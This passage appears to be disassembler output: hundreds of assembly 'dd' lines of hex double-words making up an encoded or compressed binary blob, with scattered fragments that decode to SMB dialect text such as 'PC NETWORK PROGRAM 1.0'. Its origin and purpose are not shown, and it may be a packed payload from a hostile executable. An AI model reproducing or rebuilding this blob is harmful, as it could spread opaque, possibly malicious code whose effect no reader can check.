		dd 93082CD0h, 792AF0F9h, 2B625D14h, 610B926Fh, 6F09FA0Fh
		dd 0C82DCC6h, 10DA975Ah, 0ED854399h, 80542856h,	0F8119AEFh
		dd 284DFBE6h, 59720E99h, 4D0C4D6Fh, 54D97B30h, 75721084h
		dd 4E8C8A62h, 8E91C5Eh,	0D952A8A4h, 0B4C02B56h,	3D50FE18h
		dd 99E54B08h, 5F2A4019h, 0AC0CA913h, 87314DCh, 0CB586889h
		dd 450C6B56h, 0E627551Ch
		dd 0AA1969A0h, 5AE968CFh, 1456F374h, 0EE5C838Fh, 0F410834Fh
		dd 0B865DCD9h, 196DD367h, 68513242h, 2D099211h,	23AF7948h
		dd 8E0825F4h, 2685A508h, 1E081779h, 7708A841h, 11D3D864h
		dd 78A47963h, 496732F1h, 0BCFD964Ch, 404DF579h,	72E9C549h
		dd 0D70C92F6h, 6E559AE6h, 7D4350Ch, 4F185A81h, 767BBDB3h
		dd 8240CABh, 782E6F4Ch,	637411B1h, 205ED9FEh, 22ABBC14h
		dd 6D419614h, 7A836910h, 0DBF411DDh, 7ADE101Dh,	0BF776F08h
		dd 11F826DAh, 28A973EEh, 9E8C6862h, 85A86F1Bh, 0A877084Bh
		dd 1520F6B8h, 6B7618CBh, 0B011560Dh, 0ECD01069h, 6854E89Ah
		dd 74B4630Ch, 3A5F6944h, 4C827AAEh, 7C987611h, 80F8682h
		dd 504F3055h, 732AC424h, 0EFA7A330h, 85E6BA5h, 47656C48h
		dd 6F4C1B70h, 0D1430C8Bh, 2A1C4C0Ch, 3AD62065h,	8507FC4h
		dd 45F3D118h, 4961E118h, 73143410h, 96D11CDh, 0B874E820h
		dd 0A1CC96D2h, 3808220Ch, 6B436D65h, 6929135Eh,	98EBFC10h
		dd 0A28A68C6h, 50000812h, 6E45276Ch, 314862B5h,	0A99465E0h
		dd 365A0864h, 189A10C8h, 71524390h, 4DFB7C1Ch, 9E257814h
		dd 87880D27h, 94DF11A0h, 0B211B44Fh, 0A51069FAh, 201674DCh
		dd 0B224D45Ah, 95BC7608h, 64230873h, 6D936024h,	18AD8CCDh
		dd 10269C9Bh, 106C7466h, 5C756862h, 4B183348h, 1C6A77D3h
		dd 186D98DCh, 1092363Ah, 10720ECAh, 7EAA45ACh, 73A260F1h
		dd 115BDBABh, 836D76BCh, 0A1363A10h, 6235EF11h,	0C1F10805h
		dd 20241014h, 1CC9E294h, 945910A7h, 0BC8110B5h,	98766279h
		dd 2C7BBD7Ch, 0C3A81034h, 0B66B0890h, 4714C288h, 4A301A6Dh
		dd 868322D5h, 6E682330h, 2EF41B25h, 6F796210h, 89BF1217h
		dd 0D658E2ECh, 49087453h, 6B6225F1h, 8CF6E597h,	2D8F1068h
		dd 904000Dh, 2D2AA50Ch,	0C141CFAh, 0D711E926h, 0F2989994h
		dd 0AC713462h, 73E9184Dh, 11E7DCBFh, 78A61D70h,	0FA20B6F0h
		dd 35889173h, 59F11611h, 3B6D10C1h, 45188A10h, 87EA1B8h
		dd 61F1DE22h, 0F58019A7h, 2AEC5975h, 8611BF36h,	12978238h
		dd 139F2B48h, 1F104E91h, 0F020E811h, 0A400916Bh, 3068951Ch
		dd 2668844Ah, 0F6A310B0h, 8105A95h, 635A1442h, 34B811D6h
		dd 0FD7611DAh, 0ABAFA023h, 7341413Fh, 83140C54h, 1B109A56h
		dd 36114A93h, 0BE821165h, 0C20E173h, 8B951C86h,	26BC3316h
		dd 0B5266219h, 186F5B76h, 15A1E1D5h, 0C51FA180h, 0BE21496Ch
		dd 8A6ED819h, 832CDB4Ah, 8AA793Ah, 1151FD4Bh, 8978074Bh
		dd 27988128h, 185EE01Bh, 3F089F11h, 3473A368h, 161C7456h
		dd 7C99A30Ch, 3F9177EEh, 0AFB51135h, 0FAF2200Dh, 0A7C1DF60h
		dd 10D216C6h, 37212A96h, 9F097961h, 80B2F5Ah, 0E6251356h
		dd 0D418DE14h, 18A6C56Ah, 8510897h, 67131CA3h, 9508B910h
		dd 0A00845CAh, 0B4820897h, 1068801Bh, 4909C4DDh, 0C5483379h
		dd 0C8CA9617h, 1B7F186Bh, 9A1061DAh, 33797665h,	93196B85h
		dd 3BA8C428h, 109BB658h, 0E109CDFCh, 42496567h,	38AA691Ch
		dd 0DF6B9FA5h, 0F10CEA77h, 1156122Ah, 48160CA6h, 0DE34A879h
		dd 4574750Dh, 4FAFC43Fh, 86B2720Ch, 0C89EA23h, 2092C670h
		dd 92BDC4DFh, 290C8A1Fh, 0D24FE4B1h, 1226C419h,	191726ACh
		dd 1F6F64B4h, 0D809EDFBh, 0B3CB2017h, 48A5C5FCh, 0B4086CA0h
		dd 72104CECh, 10B27499h, 0DE584670h, 44557C10h,	0EB0F103Bh
		dd 822A119Bh, 74531079h, 6D115F18h, 0A16D3B18h,	8DE62573h
		dd 0BAAD11DDh, 0E8E1D674h, 28342108h, 9D188450h, 0A9C4C41Bh
		dd 15A4729Bh, 78D96AF9h, 0DCB3DDE2h, 202C8DC5h,	626B7260h
		dd 83035019h, 75102D25h, 10CA6344h, 0A9C98473h,	82015838h
		dd 64006908h, 189BA538h, 0BA00D5DDh, 930CF310h,	10A63D89h
		dd 0A6681648h, 1F186F2Ch, 0BC8721Ah, 732DC108h,	366A284Dh
		dd 694E105Dh, 108A6A89h, 4A187466h, 4F2468E7h, 17EA1217h
		dd 0D958F887h, 9A357918h, 4CCD0814h, 6B77108Ah,	0C624B10h
		dd 6F309008h, 93DBC933h, 6947411h, 6EC91437h, 820C8664h
		dd 678F0708h, 0D0C914DAh, 76088AE8h, 5C761403h,	86C427DFh
		dd 158857F1h, 20301565h, 859F22DEh, 785673F6h, 11AEF58Dh
		dd 10052FABh, 1450646Ah, 53D630ECh, 0A869DD55h,	17E9E019h
		dd 0F181E68Bh, 683EE432h, 680CECE8h, 98CCD94h, 47088410h
		dd 0B4516F75h, 8105109Ah, 9F65BD74h, 7F894D3Bh,	65A808AAh
		dd 9E91A008h, 0D295CFCCh, 5ABA275Fh, 0B2FDA80Ch, 187355AFh
		dd 5E79A965h, 994A0C46h, 0ED18A060h, 6FC23B83h,	1082DCD0h
		dd 347967A5h, 7087A908h, 8840CA6h, 6C6B8495h, 18B41C99h
		dd 0A7229996h, 4039EB19h, 0E3670838h, 42611048h, 98F65F73h
		dd 2812106Bh, 0C21057Eh, 53BD14A1h, 0DB584808h,	0BACDBC10h
		dd 5E2011B5h, 86F02FF7h, 4CBC8CBCh, 41748D68h, 26BDEAE2h
		dd 94616D10h, 0CD976F45h, 8810A00Fh, 7CC676D2h,	341AB310h
		dd 0D9F3A911h, 636C6D19h, 2ED4109Ah, 64107914h,	0D8AD6F66h
		dd 0AC122D9Fh, 184A0D13h, 0D098BC13h, 73753446h, 8D0813A5h
		dd 6810A1ECh, 0C7871035h, 74412D12h, 1A934F29h,	8120EDDh
		dd 184D8551h, 0D789EA44h, 0A10C10B4h, 640807F0h, 9140FD64h
		dd 3108450Ch, 0CE22B549h, 0C5EAD84h, 61171429h,	2DD210C7h
		dd 73C46944h, 536E1048h, 6B2A087Ah, 1C2D4BEBh, 10D2BD9Dh
		dd 0DF54ED5Eh, 74940F2Dh, 7965C408h, 707A7222h,	73BA088Bh
		dd 0AABA10A9h, 78080C09h, 9DF8AD58h, 0A8461C8Bh, 0A7C54BB0h
		dd 2F75310Bh, 819FAB4h,	0E9BE2CB3h, 0DD595A48h,	0DDE87410h
		dd 0CF19A01Ch, 15366C5Bh, 0AC288619h, 9510DD61h, 0D741106Fh
		dd 522F5409h, 1B8C7414h, 6E43840Ch, 0FF9E7A0Ch,	7D4D0CC8h
		dd 0B18752E3h, 7A6A1061h, 8418546Fh, 619992BCh,	4ABE555Ch
		dd 9C7800A6h, 8279444h,	6E2A0849h, 0CCDFFF08h, 8A2C6735h
		dd 0A2FBBCD5h, 9C188A08h, 0AFB30835h, 21C92168h, 0C556BFECh
		dd 1A621067h, 48F82D32h, 54BC5091h, 0B3BD70F7h,	67AFE57Dh
		dd 74B48F9Fh, 342F109Bh, 0E410336Eh, 84289FCh, 736F6408h
		dd 4A641BC9h, 0E1EACD10h, 8D66C670h, 1062D2F1h,	10D69E64h
		dd 0D19CD0C7h, 35CC936Ch, 0AE209510h, 0C13AD64h, 66D5295Fh
		dd 5D0A590Ch, 41369FACh, 73684032h, 666481C9h, 6E10CA2Ch
		dd 6797CF94h, 0EA478D2Ch, 0FA620887h, 114C4D70h, 3877441Ah
		dd 7510DE19h, 0A6689D5Eh, 10CC3418h, 6639E366h,	0D2276F78h
		dd 4878CF75h, 5C9BC972h, 2764F1C4h, 75196297h, 74089067h
		dd 73238C79h, 66720869h, 0E16565E4h, 0EE4C058Eh, 872A44Ah
		dd 0D68EE3A7h, 0E27BED11h, 72106991h, 6911CFD8h, 51731EDEh
		dd 42426B6Eh, 328CD19Ah, 37FB6C18h, 496619B2h, 9AFE7AC1h
		dd 50968D0Ch, 0F1651196h, 0A750596Bh, 0BAC1A18h, 0BCAA51B4h
		dd 7427584Ch, 7E10F0ADh, 8C622D0Ah, 262E5AEDh, 889F1157h
		dd 0FBA1101Ch, 0E0DC10B7h, 10268B7Ah, 5853FC70h, 22DE2C19h
		dd 71C42763h, 0C53A575h, 0F511B136h, 522D8E8Bh,	1029BEB2h
		dd 648CC250h, 3B639381h, 0D0187866h, 819014FAh,	82C6D44Bh
		dd 5FD05236h, 0AF68DBBDh, 40C44216h, 0D8F8614Ch, 7E2CA474h
		dd 0E6EEF547h, 0D318DD47h, 0A7D88977h, 0D7E54610h, 6C8EA010h
		dd 67087550h, 84945897h, 41A0F930h, 63722FA1h, 9C6522CBh
		dd 27EF7021h, 413B8B80h, 7357114Dh, 2F4149C9h, 0EA21BB07h
		dd 57389279h, 4C980Bh
		dd 56F512D6h, 7943388Fh, 0E3448956h, 789B79E7h,	8D4385C4h
		dd 0DA10BAC0h, 10B73C89h, 2D9ACA90h, 882B9C4h, 809586Ah
		dd 10D48B44h, 4E11DBC9h, 39D6361Ah, 0A509EE82h,	4EBD68D0h
		dd 7310C9F8h, 4C53B854h, 0D07CCC18h, 0A8480874h, 49B1EDD7h
		dd 640840C9h, 293E38F7h, 631E1461h, 95112CB6h, 889C6DF8h
		dd 606C18CDh, 44D110DAh, 0F99208A0h, 0B2F40882h, 0FFF7114Dh
		dd 0A52C20AAh, 6230D43Dh, 161E32D7h, 0F0E35E3Bh, 3D081069h
		dd 0D72CB440h, 9511AD55h, 5C186B7Ch, 8792A24h, 1237F99Ch
		dd 7264A489h, 1864D8A6h, 99AEFC63h, 0FAAC6110h,	0B56C1618h
		dd 0C562F2C8h, 822255Ch, 4EA126D7h, 0D6185C16h,	0C22E5A09h
		dd 0CA140F4h, 32BF12A5h, 8557D80Ch, 0A718A30Ch,	18D0F366h
		dd 422558EEh, 0AFBD7A08h, 0C7A8A8Dh, 0E882D120h, 6A770812h
		dd 0A8342DD3h, 0FEE23C09h, 0AF0C6869h, 8EC59972h, 0C27796Bh
		dd 284908DAh, 0E92D0816h, 842739Fh, 2B60AB70h, 7CFC635Ah
		dd 8ADAA611h, 0A0CF5954h, 0D60B9708h, 5FBEB459h, 27509052h
		dd 4492D10Ch, 10A66508h, 0CC129CA2h, 9C96147Ah,	557019CCh
		dd 0A8882465h, 0BA4F6974h, 15C9D636h, 83415865h, 878116Eh
		dd 8808E368h, 4D6F6E69h, 7CEAE479h, 1310E87Ch, 0A154C574h
		dd 70198FABh, 41E0D475h, 63129508h, 250C416Fh, 0A105311Fh
		dd 631D0C0Ch, 0DA58E62Dh, 0ECFEF619h, 0A5A019CDh, 8F93BD38h
		dd 0A36D1129h, 0C84F622h, 19DED7AEh, 136F9C6Eh,	26700BA3h
		dd 0CDB87942h, 2656A610h, 0B661104Ch, 12164F05h, 6414F2B5h
		dd 4FAD7210h, 6B3C0CD0h, 640808D2h, 65C2797Ah, 3474126Eh
		dd 98930822h, 644B1037h, 0BF10D20Ch, 70893937h,	6B6BF437h
		dd 28F71169h, 0C322109Eh, 5558088Ah, 418B0884h,	736A4AC5h
		dd 0B9C66B08h, 55C718D7h, 23AC084Ah, 908D5B9h, 0E5106F54h
		dd 0E3A19220h, 0E3F12005h, 0A20814A1h, 0FFC8D010h, 17DF1158h
		dd 0A08876Fh, 236D9C08h, 114DD32Eh, 3F10DCA1h, 386C6AA5h
		dd 0E30A18D3h, 0E6AD0872h, 7510CB6Ch, 66A2BE63h, 0D90A1C92h
		dd 0AB08A2E6h, 8D114FC8h, 5211BB52h, 689E78AEh,	185D10CDh
		dd 6B85A5E2h, 9674081Eh, 60371D84h, 0BEA8CDAh, 0A8A66213h
		dd 1C090C41h, 6EC7AF14h, 0A7690CEAh, 0CFA638Eh,	8BC886Bh
		dd 29A49CA3h, 97E422Dh,	33E04A08h, 6C25DD14h, 42E2B0CDh
		dd 344551CDh, 3DD11010h, 0E7B6116Dh, 13C864E5h,	6E8AC80Ch
		dd 49630CA1h, 99263A28h, 6D6DBC11h, 89512F10h, 6D0E6408h
		dd 1967D9B3h, 49081A67h, 2952705Ch, 0A1F4760Ch,	0BDDD2CF0h
		dd 0A808AA70h, 721A08BEh, 6FC80509h, 95CD1C52h,	228810B6h
		dd 4C3E8C93h, 0AF6E27A9h, 3DA61708h, 9410B478h,	825E997Ah
		dd 209361CDh, 0ACA5AC4Ah, 5390C19h, 690CDE68h, 181B64C2h
		dd 0CE2DB025h, 67108966h, 106F5872h, 6312E0F6h,	442D7416h
		dd 20AF7CCDh, 884F37Ah,	828938Ah, 0A1E524ADh, 4703AC1Ch
		dd 0B20CDA63h, 62512D3Eh, 921C7494h, 81314A1h, 0B65F6F61h
		dd 0BD920CD4h, 6818D9B8h, 1060266Bh, 56049BB7h,	0BE789011h
		dd 27106DA4h, 9E845A58h, 46630832h, 0AC79FE10h,	5010D6C0h
		dd 752C08A7h, 0A514C8B0h, 0E35E7042h, 133F196Dh, 41FCD3Dh
		dd 0ACA7520Ch, 350C45B3h, 89AC6FAh, 0E088DA09h,	4A686514h
		dd 3E0C770Dh, 2C1479A9h, 0CF504AF9h, 96B5590h, 99503D08h
		dd 747B6219h, 5C0C5ABCh, 25B50808h, 0C228AFBh, 7C7A633Dh
		dd 0A26A18E1h, 52082D84h, 42349AE2h, 6C9031B4h,	0D24ECC66h
		dd 89277B0h, 9C42D5CBh,	6A651514h, 586B294Ch, 0A1927910h
		dd 67E00CC4h, 0D2C04495h, 7A18EC11h, 791411DFh,	51409458h
		dd 0C708146Fh, 10469B5Ch, 697A411Eh, 79F06CE8h,	106CD4BEh
		dd 9F06B76Bh, 35FF1164h, 2D34BCD0h, 2D3B1278h, 5A6B1840h
		dd 8BDC39BCh, 5B36DA3Ch, 12676519h, 890C3774h, 72C331B3h
		dd 8A3027C5h, 9408A2DAh, 408A7CBh, 4819A40Ch, 1220219Fh
		dd 0CBFCF164h, 0D362113Bh, 4E945B84h, 0CDA80825h, 53C6279Eh
		dd 8CC211D3h, 2F20E272h, 8ED9D34h, 944D08C0h, 1894780Dh
		dd 26DA086Fh, 5D46082Bh, 735C6DF0h, 5610DA34h, 0A21022CDh
		dd 20DF733Eh, 3E724C0Ch, 74AD3E9Eh, 42FBABh, 4EFB0C1Ah
		dd 18851934h, 189B75F9h, 5167E43Eh, 0F8D1FE08h,	6B651031h
		dd 4618A9E2h, 0B110D6D4h, 0E840151Fh, 681EDE9Ch, 0D6FE86Eh
		dd 6C042F64h, 9B6235C2h, 0C6F7C5FCh, 93F60C41h,	6D862A4Ch
		dd 749BA24Ch, 62E15358h, 1A1F7E64h, 50632126h, 25080B43h
		dd 937F7C73h, 6E39B6A4h, 3203023Fh, 5881334Bh, 1162C350h
		dd 2454D08h, 4E033839h,	35112054h, 5D6450C7h, 4DE1A33Dh
		dd 88E4FFDEh, 474014D1h, 39104003h, 300892E3h, 0FF4C24AAh
		dd 5868D6D3h, 5518CC09h, 50539A4Eh, 0B6E53470h,	0E5C01041h
		dd 44320853h, 0CD3108C8h, 0B1493009h, 2EB33E9h,	30E805C8h
		dd 5B02FFF9h, 6630C931h, 73800EB9h, 2943FA0Eh, 0E618F9E2h
		dd 0C432DB1h, 0C0330260h, 401F0364h, 8BDD7830h,	1C700670h
		dd 80EC3ADh, 0A1F09EBh,	7CD98D34h, 0D0F83C0Ch, 0CA0BCE03h
		dd 0D37848A7h, 0DAEB2041h, 331C59E8h, 0F638FF72h, 0C27E057h
		dd 4F798110h, 0FAB120Ah, 33CC0264h, 744E0316h, 1783E5B1h
		dd 4C0833Bh, 8598C39Bh,	0DB7474F6h, 0D71CFF74h,	0FA83F203h
		dd 7C12E857h, 0C1F3B7D1h, 692D2007h, 3FAF5539h,	0C6A1C1Ch
		dd 753317E8h, 5AC3013Ch, 104022ADh, 840F8807h, 0C3A6ED54h
		dd 5D5B5801h, 54EC8350h, 0FC8B9F40h, 40483A8Dh,	0AAF3D780h
		dd 57AB44B0h, 9C515238h, 198286Ah, 53550Ch, 0C483D6FFh
		dd 0C3C08554h, 39EF64D3h, 2DA73B84h, 3E4FBC6Ah,	3FF64E2Dh
		dd 0C6BC574Bh, 0ADE07997h, 0BF55B25Eh, 33B364Eh, 6914536Bh
		dd 97C26368h, 0B978C01h, 0EA25E908h, 53D45640h,	641832A5h
		dd 316D7760h, 15353332h, 1851644h, 340987C6h, 2D81DF4Ch
		dd 0BB01053Ch, 0A7DAC84h, 0C89010Bh, 0EC1F4422h, 612D8097h
		dd 0A0C634E2h, 4E534175h, 8FD09D2Eh, 40424D29h,	638ABD79h
		dd 5E40D59Dh, 4F39B581h, 21203C40h, 0C28B7154h,	46B6221Fh
		dd 91BD5B73h, 9BF42D2Dh, 0A170C023h, 184157B6h,	828D12D3h
		dd 0C3A85FFEh, 0C0355A0Ah, 5CE83008h, 1CD11184h, 4053BE01h
		dd 0B1C0189h, 0EB814F8Dh, 334A5A10h, 1C86665h, 0A340580h
		dd 97FAE299h, 709E3862h, 7F98DFh, 699521C3h, 0F712E664h
		dd 7685E9C8h, 91D93C34h, 0EA8741BDh, 0E36A9AA5h, 0B1EE1EFh
		dd 629FB9E7h, 0AA8DD7C0h, 7DCECF74h, 19A660C8h,	0C097F36Bh
		dd 0ED3F6A0Eh, 1AC6A091h, 30DC9D5Eh, 0C710707Bh, 0DFE45412h
		dd 5A9ABD16h, 58037A1Dh, 0F6FF50AAh, 0DE85FC82h, 9B36FF1Ch
		dd 12DFA81Eh, 6E83639Dh, 0D9975F1Ah, 0C0F0F349h, 0DCE56E71h
		dd 0CB941A58h, 0CE66CF06h, 32D2C365h, 0F0269DF3h, 0F803C926h
		dd 0CC9BFC98h, 5E2A692Ch, 99739E78h, 59AA2400h,	0F39DDE10h
		dd 0CACE3389h, 36666D28h, 0C046610Dh, 751A650Dh, 6D1812DDh
		dd 0C03442AAh, 17850E10h, 0DFA6627Bh, 0A54006A1h, 2A5E79D9h
		dd 3CC98B5h, 0C989DE14h, 26ECACFh, 815ECF67h, 0FDF4FAA5h
		dd 3AD027BBh, 0A3FEA37Dh, 35AC1C71h, 60ECC51Ch,	248118C8h
		dd 0C008C34Bh, 3777B32h, 6762715Ah, 0FCDEE0EFh,	0EB07C9EDh
		dd 0FDD8FAF6h, 0EA9CDE1Eh, 0CDA994Ch, 0A3ED79F8h, 0D81D3F12h
		dd 0F0E1DC8Fh, 1DDF0DD4h
		dd 0FDF8CED5h, 0BBFBDF9Fh, 32E06072h, 0C6ABEAEEh, 47EFAA73h
		dd 3C59BEA7h, 2488B0F2h, 0CEF7F0FBh, 0EAADF5E8h, 0F8E1E37Ch
		dd 0E9649EFAh, 4F80497Fh, 0A14A02B8h, 0B8F47F35h, 0AD6E4E69h
		dd 34D9F6Ch, 84D21237h,	0CAFB2C14h, 891158C8h, 0E89ADF45h
		dd 0BE2644D5h, 149EA499h, 54F2203Ah, 85A9CE75h,	209BE21h
		dd 0BC8E4654h, 18684DB5h, 7728520Bh, 481C5A76h,	39BF2DD3h
		dd 9CA33E3Fh, 389FA775h, 0C946E84Fh, 0D694FF54h, 88B0B08Ch
		dd 290F86D9h, 4C8AB44Fh, 0E1AEA090h, 0D280B76Bh, 0C1B405F5h
		dd 0EF1435E2h, 0D3658A99h, 7D9BA76Bh, 92342957h, 274310BBh
		dd 0BE50DF7Bh, 2FD56F3Ch, 653BA23Fh, 0C9AE2968h, 43801BB4h
		dd 7F14BABh, 0D078B37Fh, 0A3AFE420h, 4FEC4FFDh,	0EAB4EC4Fh
		dd 0E930A85Ah, 3A42314Fh, 0D3380AFDh, 4F726BFBh, 9BD018E9h
		dd 0D33443FEh, 93CF2FFBh, 0D4402BFEh, 544AED04h, 2C2A4C56h
		dd 0BE63915Eh, 2869AB4Ah, 0F84F281Ah, 0FF5389C3h, 908CCC16h
		dd 6275530Ah, 4F52102Dh, 294613A0h, 4974FD35h, 0AE12A040h
		dd 0A8E33FFFh, 6F08D192h, 6FE23F66h, 0AA9A090h,	56AE96D3h
		dd 0B06FEF67h, 6EB4184Ch, 0D16C91ACh, 23F94FB5h, 3002F14Fh
		dd 17DB725Eh, 7394E742h, 2E15CCBFh, 96D21891h, 6540AD9Dh
		dd 6DE07553h, 0D72C2371h, 4A5869EAh, 35AD7534h,	5E48D42Fh
		dd 90C2588Dh, 10029242h, 700FF88Ch, 0A08AC01h, 7FFDF020h
		dd 85FF130Ch, 3C65F265h, 0B6C8A518h, 13372A6Ah,	627007h
		dd 20435002h, 5754454Eh, 4B524F1Bh, 4767A7B4h, 0C04D4173h
		dd 0CF302E31h, 4E2F4C30h, 0B29065Ah, 6E676C75h,	249FF466h
		dd 9CF6A59Fh, 331E7098h, 6131332Eh, 480E4D51h, 3D305832h
		dd 0ED3E332Bh, 54E4162Eh, 0DB32DC20h, 28F51630h, 43867388h
		dd 0FF0CB107h, 11040B85h, 0D41A380Ah, 88006CAh,	442E8110h
		dd 464B0E19h, 3BA745AAh, 0A03E0DEFh, 527D4742h,	0F2900241h
		dd 0DC021C68h, 0DF103CFFh, 83F0429Fh, 28494847h, 9E4B4Ah
		dd 51504F4Eh, 55545352h, 58575600h, 62615A59h, 65640063h
		dd 69686766h, 6C276B6Ah, 7158616Dh, 7570002Fh, 79787776h
		dd 7D307A25h, 2F2B7D38h, 604CBEB4h, 0EC812866h,	0E6890A9Bh
		dd 40DBEDE8h, 12096836h, 3063D63Eh, 468919F7h, 0A0A2F008h
		dd 7047614h, 2BD06B68h,	4FE2D5CAh, 3F080C15h, 4397FAE2h
		dd 1FCDEB24h, 1FDB311Bh, 0FF99F010h, 0C30F89D0h, 9D768B56h
		dd 10B9C78Ah, 5EA4F300h, 0CC50C031h, 0FF065302h, 8B0C561Bh
		dd 0C4D4209Eh, 5B5E5F1Fh, 0E860E083h, 8B710023h, 8D0C2444h
		dd 83077C58h, 81053C43h, 10042847h, 1C631F93h, 40FFF00Eh
		dd 8324048Bh, 506714C4h, 0D233C37Ch, 9932FB64h,	0C6932289h
		dd 0B01B25B8h, 0DFFA029Dh, 5EAFF325h, 0BCEB1DC3h, 64107E87h
		dd 6158F08Fh, 0BF4C60C3h, 1F8B8623h, 7893BC7h, 81F809F9h
		dd 3EAF78C7h, 1939F960h, 9FE0474h, 3DF8EB3Dh, 0FB5A3CFAh
		dd 527E057Bh, 11F8F6F8h, 0C6F84AFCh, 1FD4318h, 0A00CA16Eh
		dd 0E61C4036h, 1E6ECF58h, 0C67A8E14h, 9A04460Eh, 243F6CFEh
		dd 3C451F28h, 8C0554CCh, 7C4AFAEAh, 205A3C18h, 38E3EB07h
		dd 0DF34B749h, 0FF31EE02h, 0ACFC9583h, 774E0E8h, 0DCFC11Fh
		dd 0F4EBC7C0h, 0E2247C3Bh, 48E16E75h, 19663BD0h, 1C124B0Ch
		dd 54BF1804h, 0DDA389E8h, 8C261D8h, 23FEF9E1h, 54C40AF8h
		dd 0FC05D8F2h, 0F72646E8h, 0EF7C44BBh, 5F814FF2h, 0E8E2E08h
		dd 84AC99C0h, 2CAB799h,	245420C2h, 0E3687504h, 30CF5B44h
		dd 89FC209Dh, 0C3325C66h, 0B264505Ah, 2F857630h, 9CB80F78h
		dd 0E9280868h, 34FE5F0Bh, 87C0528h, 5F3C6800h, 5660F631h
		dd 240D79EBh, 3F72CEEFh, 8AFE9800h, 0E7FF570Eh,	0EEEE82Dh
		dd 43F31F84h, 992B8B06h, 2C40501h, 3019CCA0h, 389A109h
		dd 3704313h, 4306EB88h,	63887090h, 75DFB06Dh, 0F3EE72Fh
		dd 0EF176F5Dh, 3F885C65h, 261ACA3Eh, 0E3DCAD14h, 6F053146h
		dd 14D4273Eh, 4EC79697h, 0FE271287h, 0A510A17Eh, 2DED040Fh
		dd 0F8E3CE8Eh, 71A81B4Fh, 0B0305CEh, 0D9321003h, 237F0948h
		dd 45A16D0h, 496B82Dh, 0C060D8A0h, 546508Ch, 885D0004h
		dd 0C91CEB8Ah, 0E8489F11h, 102B026Ah, 0CE026048h, 13054170h
		dd 8B4E84Ch, 44D44FE5h,	6310432h, 3240A7D9h, 0FD5824h
		dd 496445CCh, 0AEDD70B0h, 962C7401h, 0D5E60D2h,	0D0701C5Ch
		dd 7C344C19h, 4C105010h, 0F196800Eh, 0CE4D2A20h, 6A58A611h
		dd 6EAF03A1h, 580CF472h, 52152229h, 0D813442h, 41BAADF0h
		dd 20F4A808h, 0E0D16087h, 454D0304h, 2B04574Fh,	0E2BCA229h
		dd 0CC970338h, 28293019h, 5001184Ch, 0CECCD010h, 4414C803h
		dd 0D8291890h, 1798A168h, 85948B07h, 8D8128C4h,	91652964h
		dd 0ADB9200Ch, 10AB9574h, 473EA5B2h, 0F9A4C8A6h, 0AA231FADh
		dd 582474E8h, 44095846h, 20894090h, 606E7812h, 0C8D80153h
		dd 0B64F8150h, 0B8FF2088h, 46EF4203h, 4482460h,	0EE816664h
		dd 0A45B0209h, 0C82C1029h, 19786108h, 22B44D0Ch, 0D870811Ch
		dd 4FC89398h, 0A91103D2h, 0B257BE3Dh, 0E132212Eh, 80925823h
		dd 10EE83Dh, 1443180Eh,	4608A10h, 0C051F86Ah, 0D23B211Fh
		dd 8100E04Eh, 800317C5h, 714AE90Eh, 8AF10199h, 857A6F50h
		dd 90E45A02h, 4630F2E8h, 186E5460h, 0DDA2BD8h, 15ADA624h
		dd 3CA0C0Ch, 0E2245B08h, 0BDDB2858h, 4D2E8032h,	4E686448h
		dd 0A41E120Eh, 80B8B0Eh, 4B20F902h, 55C3708h, 7CA5080Ah
		dd 310D32E4h, 3A333649h, 0D35920Eh, 21B1836h, 0C164F8D9h
		dd 5B63C16Fh, 98202978h, 88C52D90h, 2CC0A2Ah, 8C28E3F8h
		dd 0B31878h, 4E47D4E8h,	8514205h, 464E40Ch, 1ACC6888h
		dd 87FFDE0h, 90944C71h,	2A7EB01h, 0EF8316C6h, 853139Dh
		dd 9498E60h, 84641B50h,	3A8258F8h, 0DEF94520h, 0B577E569h
		dd 0AD9BF538h, 0FF7CA93Dh, 0D39D6696h, 3408ADADh, 0B854682Dh
		dd 708710EEh, 9E652769h, 3A1CE157h, 42B9BC9h, 224B5BBCh
		dd 3C0B2425h, 0C600F962h, 0A96138FDh, 95D9120Fh, 0F1BE222Eh
		dd 55B96E04h, 7B3F0222h, 9AC74A60h, 0A3B4B29Eh,	8F660ACDh
		dd 10197112h, 7518C21Bh, 0E2C5C09h, 0DB8F1CDh, 894BCF66h
		dd 60D97F93h, 128D1605h, 0E667F141h, 9B579828h,	0E04B9D53h
		dd 3289F355h, 812ACAC8h, 0D309335Ch, 4B72F1h, 1AA9FF10h
		dd 0A514CD75h, 8CF3BD12h, 3C643CE0h, 89B9DD5Fh,	0A40A67B0h
		dd 0D1F2C510h, 8CD509C8h, 0CD2B14C9h, 2C6C8ECh,	100898F3h
		dd 1BA9EF66h, 0D7959DCFh, 910CA8B4h, 6C7859Dh, 12A1C895h
		dd 0CDCCA5DCh, 9AE10FB1h, 0EB47CB4Ch, 0AA6C60B9h, 0D83ED050h
		dd 805CBB34h, 89279642h, 0FED4FA3h, 94525891h, 72D943C0h
		dd 8607A268h, 12C37EECh, 44D3BD27h, 0D295B1FFh,	7E851290h
		dd 32529CD8h, 5AC014C7h, 260BB71h, 7597D717h, 2A67EB00h
		dd 9C40348Fh, 12767257h, 0F52F979h, 9067A251h, 6075F16Ch
		dd 0E07EF033h, 9E975F72h, 0C87D47FCh, 0F2404A95h, 0E4CFFE5Ch
		dd 0FDBC87EDh, 0F91E88EBh, 36ED029Ch, 7A517546h, 69FD382Eh
		dd 346D4386h, 0FFB89061h, 9D4459C8h, 700ECF22h,	0FFD92776h
		dd 12970044h, 7D870AFEh, 0CF0079E9h, 0CB791BB0h, 0FB8B74EFh
		dd 0A37D0893h, 1776B208h, 29370C69h, 7359DFDh, 0F6DFDFCEh
		dd 205F8CF4h, 85E52F2Eh, 0FFB148F6h, 97E91BFEh,	4CDAA403h
		dd 108B8CD0h, 0FA44CE9h
		dd 4D94202Fh, 9AD96970h, 50C55398h, 97810F28h, 28E00882h
		dd 0E157A8C4h, 886E4A92h, 73E0775Eh, 30EA77D9h,	0A100254h
		dd 2B39388Dh, 387B2435h, 0A77C2E3Ch, 0ACDA154Fh, 204208ECh
		dd 57E4DA21h, 92859F2Ch, 46EBD803h, 475324A6h, 0E7402108h
		dd 0D0500E06h, 20A872FDh, 881C8A15h, 4F1C48E0h,	81004410h
		dd 0F27A6A19h, 1C0049E4h, 2530AF28h, 52671074h,	29FBE253h
		dd 7511E05Ch, 45494ADh,	105C34E0h, 6631BE49h, 326281F0h
		dd 361089B3h, 0E51B3882h, 4D307849h, 13F14A6h, 64508E70h
		dd 4187A264h, 404DC08h,	0C818F70Ch, 7238E3DEh, 89171629h
